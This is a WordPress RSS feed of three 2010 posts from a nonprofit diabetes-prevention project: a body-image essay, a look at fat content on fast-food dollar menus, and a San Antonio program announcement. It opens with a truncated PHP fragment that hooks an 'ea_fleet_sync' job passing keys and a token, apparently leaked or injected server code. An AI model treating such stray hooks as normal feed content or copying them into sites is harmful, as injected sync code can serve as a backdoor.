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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); better quality of life – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Tue, 11 May 2010 03:59:45 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp better quality of life – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Skinny People Have Problems Too https://skinnygeneprojectnew.dreamsites.io/skinny-people-have-problems-too/ https://skinnygeneprojectnew.dreamsites.io/skinny-people-have-problems-too/#respond Tue, 11 May 2010 03:59:45 +0000 http://skinnygene.wordpress.com/?p=248 Last month I had the pleasure of walking around Lake Miramar with a member of our Skinny Gene Family, we affectionately call her by her nickname –Yo.  We were chatting up a storm, really taking the time to get to know each other, and then it happened. She shared (as Oprah would call it) her A-ha moment, a realization that I felt couldn’t have been more brilliantly worded.

“Skinny people have problems too”

Five simple words that seemed to summarize so many conversations I’ve been having with people lately about the true value of being skinny.

Does being skinny really equate to having a better life?

Being a part of the Skinny Gene Project, my answer might surprise you. I’d say, “Not necessarily!” 

When I think about the desire to be skinny, I’m reminded of a scene from Jerry Maguire. In the scene Dorothy (Renée Zellweger) and her son Ray are sitting in coach on a plane. Dorothy leans into the aisle and looks longingly towards the people sitting in first-class. Then Ray says, “What’s wrong, mom?” To which Dorothy responds, “It used to be a better meal. Now it’s a better life.”

 [youtube=http://www.youtube.com/watch?v=qhW8ocAoLqc]

I feel that somewhere along the way, being skinny has become equated to riding in first class. Something that is afforded by or given to a few, while the rest of us have to sit near the stinky bathroom in coach.

Well, if this is the case, there are a couple of things I’d like you to consider about the people seated in first–class (or for this metaphor, being skinny). Having a first-class ticket doesn’t make it easier to pay their mortgage, and it won’t make them more likable (unless they bought you a ticket too).   Sitting in first-class won’t give you a better marriage, more friends, or get you that much deserved promotion.

Okay, it’s true. Sitting in first-class does have its perks; just like there are some benefits of being “skinny”.  It has been proven that losing weight and maintaining a healthy weight can reduce your risk of developing diabetes, heart disease, hypertension, some forms of cancer, etc. Having a healthy weight may also give you more energy to get out and live life.

But… before you buy into the idea of being “skinny”, and upgrade your ticket from coach to first-class, you may want to read the fine print so you know what you are getting.

Here’s what it might say…

Disclaimer (the First-class ticket’s fine print) – Being skinny is not necessarily the same thing as being healthy.  In fact there are ways of getting  “skinny”, like fad diets and quick weight loss schemes, that can damage the body and cause more harm than good. The key is to make healthier choices and to live a healthier lifestyle.

AND

Being skinny may not change the opinions, personality, or negative behavior of others (especially of those unworthy of having you in their life in the first place). It can only change YOU.  If your desire to be skinny is based on pleasing or seeking the approval of anyone else, please know you will most likely be dissatisfied with the final result.

The problem with putting so much emphasis on being “skinny”, is that it makes it seem somewhat unobtainable.  To get over this mental block, don’t focus on being skinny. Focus on you!

 

Don’t wait to be skinny to love yourself. Otherwise, you’ll have the same problems, just in a skinny body.

So why do we have the word “skinny” in our name (the Skinny Gene Project)? Our name comes from a rebuttal to an excuse we once heard about not being able to lose weight, claiming she couldn’t do it since she didn’t have a “Skinny Gene”.

 That was it! We decided to call the non-profit the Skinny Gene Project, as a way to display our mission to provide everyone with an equal opportunity to create the change they want to see in themselves.

We hope to rid our community of the “skinny”, first-class mentality and evolve more into Southwest Airlines’ open seating format. You see, we all have a Skinny Gene! With it comes the opportunity to choose a different seat or perspective.

So, my advise is to stop admiring others for what they have, and start by empowering yourself to take action from within.  You have a Skinny Gene, now you just have to decide to turn it on !

-MB, Skinny Gene Project Team

]]> https://skinnygeneprojectnew.dreamsites.io/skinny-people-have-problems-too/feed/ 0 Value Menu- Eat Now, Pay Later https://skinnygeneprojectnew.dreamsites.io/value-menu-eat-now-pay-later/ https://skinnygeneprojectnew.dreamsites.io/value-menu-eat-now-pay-later/#respond Mon, 10 May 2010 23:13:16 +0000 http://skinnygene.wordpress.com/?p=280

 The McDonald’s Dollar Menu, El Pollo Loco’s Loco Value Menu, Taco Bell’s Why Pay More value menu and  the Wendy’s Super Value Menu are all great for our pocketbooks, but what about our waist lines?  When it comes to eating out, everyone would like a deal, but after reviewing the $1 menus at several fast food restaurants, a deal may not be what our body really wants….or needs!

When it comes to fast food, the tricky part is figuring out if a true “value” is being offered, or if it’s an “eat now, pay later” kinda thing? 

Fast food is notorious for being two things, cheap and loaded with fat – especially our heart’s enemy, saturated fat.  Although the cost of the food may leave you with a few extra dollars in your pocketbook for the week, the high fat content can really do some damage on the scale and to your long-term savings. 

What if $1 today would cost you (not your insurance) more than $10,000 in the future? Not sounding much like a value now, does it?

The American Heart Association recommends eating foods with less than 25- 35% of calories coming from fat, eating foods with calories from fat >35% can greatly increase your risk of heart disease, especially if you have high blood pressure or extra weight!  Heart Disease is the #1 killer in the US, and one of the most expensive diseases to treat. Yikes!

So, knowing that we want to keep the % of calories from fat below 35% (ideally below 30%), here’s what I found out about the real value offered at these fast food giants…..

Let’s start with Wendy’s. The Wendy’s Super Value Menu has some delicious items, such as the Junior Bacon Cheeseburger, 5-piece Chicken Nuggets, French Fries, and 3 types of Chicken Go Wraps, but on average 46% of the total calories of all of these “value” items comes from fat!  This (meaning the 46%)  is 150% of our desired maximum calories from fat, which should have 30% or less of the total calories coming from fat.

So these $1 dollar deals are not the best, but what can you order that won’t put your heart and health in danger?  The Grill Chicken Go Wrap has the lowest % of calories from fat at 36%, this would go nicely with a side salad, mandarin orange cup, or baked potato that would decrease the meals fat composition closer to 30%. 

America’s favorite fast food chain, McDonald’s, received the wrath of the media with the documentary “Super Size Me”, but also responded with an attempt to make their menu items “healthier”.   But how did they do?  Yes, they are using healthier oils, trans fat free, and have added the Apple Dippers, yogurt parfaits, and a variety of  salads to the menu, but what about the Dollar Menu?  The lunch (or non breakfast) menu contains one sandwich, the McDouble, which has 44% calories from fat, again 150% of our desired maximum calories from fat (which should be less than 30%) and don’t forget the fries, another whopping 45% calories from fat! 

The dollar menu does include healthier options of the side salad and Yogurt Parfaits, both great choices all around! 

This topic could go on and on, including the Jack in the Box Value Menu as well as the Taco Bell Why Pay More Menu, both containing multiple items with 50% calories from fat! 

When eating out, you must do your homework!  Look for key words such as grilled and baked and ask for no mayo or dressings!  Looking for healthy dining choices marked on the menu or check out www.healthydiningfinder.com to find the best choices on the run!    

Oh, and don’t fall into the label trap! Nutrition labels can be very misleading. Remember to look at the cute little line “Calories from fat”, it is hiding below the total calories, to see what percent of the calories in your food is coming from fat.  Our goal is to have the calories from fat be less than 20-30% of the total calories.   The other line that says total fat, followed by daily value % is usually a small number that doesn’t tell us what we really need to know! 

Still a little confusing? Here’s an example…. Quaker Corn Bran cereal has 90 calories per 3/4 cup serving – 10 of the 90 calories are from fat, therefore we can conclude this in an excellent choice of cereal with a total of 11% calories from fat!  The confusing part of the label says the cereal is 2% daily value of fat, but that is based on a 2000 calorie diet – but it’s not specific to you!  Another reason this cereal is a great choice is the 5 whopping grams of fiber, but we can talk more about that later!

If you have questions about reading labels and finding  the % of fat, please email me at healthyhome@jmossfoundation.org.

By Emily Barr, MS, RD, CNSC

]]> https://skinnygeneprojectnew.dreamsites.io/value-menu-eat-now-pay-later/feed/ 0 Great Things Happening For Skinny Gene In TX https://skinnygeneprojectnew.dreamsites.io/great-things-happening-for-skinny-gene-in-tx/ https://skinnygeneprojectnew.dreamsites.io/great-things-happening-for-skinny-gene-in-tx/#respond Mon, 10 May 2010 21:34:38 +0000 http://skinnygene.wordpress.com/?p=264 The Skinny Gene Project has launched an intensive 12-month diabetes prevention program in two South Texas clinics, owned and operated by Methodist Healthcare Ministries.

Methodist Healthcare Ministries (MHM) is a non-profit organization dedicated to serving low income and uninsured families that would not qualify for federal or state programs that would provide such care. MHM invests well over $30 million annually to provide quality healthcare to the communities surrounding their 3 primary clinics. The Skinny Gene Diabetes Prevention Program will be implemented in two of these facilities, Wesley Health and Wellness and Dixon Clinic.

The Wesley Health and Wellness Center provides care for one of the most under-served populations in San Antonio. The area has nearly 100,000 individuals (90% Hispanic), of which more than half are 185% below the federal poverty guidelines. The Dixon Clinic provides medical and counseling services to a community on San Antonio’s east side, which has a large African-American population.

In 2009, Kevin Moriarty, President and CEO, expressed to the Skinny Gene Project his great concern for the growing obesity and diabetes epidemic that was affecting their communities. MHM has excellent programs in place to help their patients control their diabetes, but they realized a more aggressive approach would be needed  to fend off this disease. To better serve their communities, Kevin decided to take it take it one step further and implement a program that focuses on diabetes prevention.

As of April 2010, we are proud to announce that the Skinny Gene Diabetes Prevention Program is successfully being implemented at MHM. Over the next 12-months, our bilingual nutritionist (Nancy Juarez), under the supervision of our Senior Registered Dietitian (Emily Barr,MS,RD,CNSC), will be working one-on-one with a total of 15 patients to help them adopt healthy lifestyle changes and prevent the onset of type 2 diabetes.

Here are some of the new members of our Skinny Gene Family, San Antonio!

[slideshow]

We’ve asked Nancy to share her experiences with us. Here’s what she had to say….

Methodist Healthcare Ministries (MHM) is a non-profit organization dedicated to serving low income and uninsured families. Their first and utmost interest is to provide the best quality healthcare they are able to offer to their patients. They provide medical, dental, and social services, along with a variety of activities, for the families they serve. They provide after-school care for children, whose parents work late, as well as computer and fitness classes for various ages ranging from children up to seniors. In the short period of time that I have worked in the MHM facility, it has opened my eyes to many possibilities and shown me the kind of help this organization can provide to its patients. Not only is there a sense of community, but there is also a real sense of family. A considerable number of families that benefit from MHM’s services are extremely grateful. If it wasn’t for MHM, these families wouldn’t have access to essential medical care, as well as the expensive medicines required to treat significant conditions and diseases. MHM has top-of-the-line equipment, which makes it possible for them to provide the best quality of care to each of their patients.

As a Skinny Gene nutritionist, I have been very lucky to have been given the opportunity to work with MHM. Since diabetes is a huge issue affecting millions of Americans in South Texas, this program will help these families by teaching them to make better food choices in order to achieve a longer and healthier life. We are currently making a difference in the lives of 15 individuals who are a part of our inaugural program at MHM. I am personally working with each of these wonderful people who are all grateful to Methodist for putting our Skinny Gene Diabetes Prevention Program in their lives. Each patient has an immediate family member or relative that has been diagnosed with diabetes, and after seeing the impact the condition has on their lives, want to prevent it from affecting them or their children.

Prior to this program, these patients (all at-risk of developing diabetes) had never been instructed by a personal nutritionist or dietitian on what they should or shouldn’t eat to lead a healthy life. Having the opportunity to have a nutritionist to guide them along the way to attain their goals is a dream to them.

All of these wonderful people are extremely motivated and excited to make very good use of what is being taught to them.

I have something in common with most of these patients—we come from Mexican descent.  As a bilingual nutritionist familiar with their culture and customs, I am able to communicate to them in a way that is meaningful and relevant to their lives. I am very pleased with the progress we have made in the short time we’ve had, but in time the difference will be noticeable and we will have paved the road for a healthier life.

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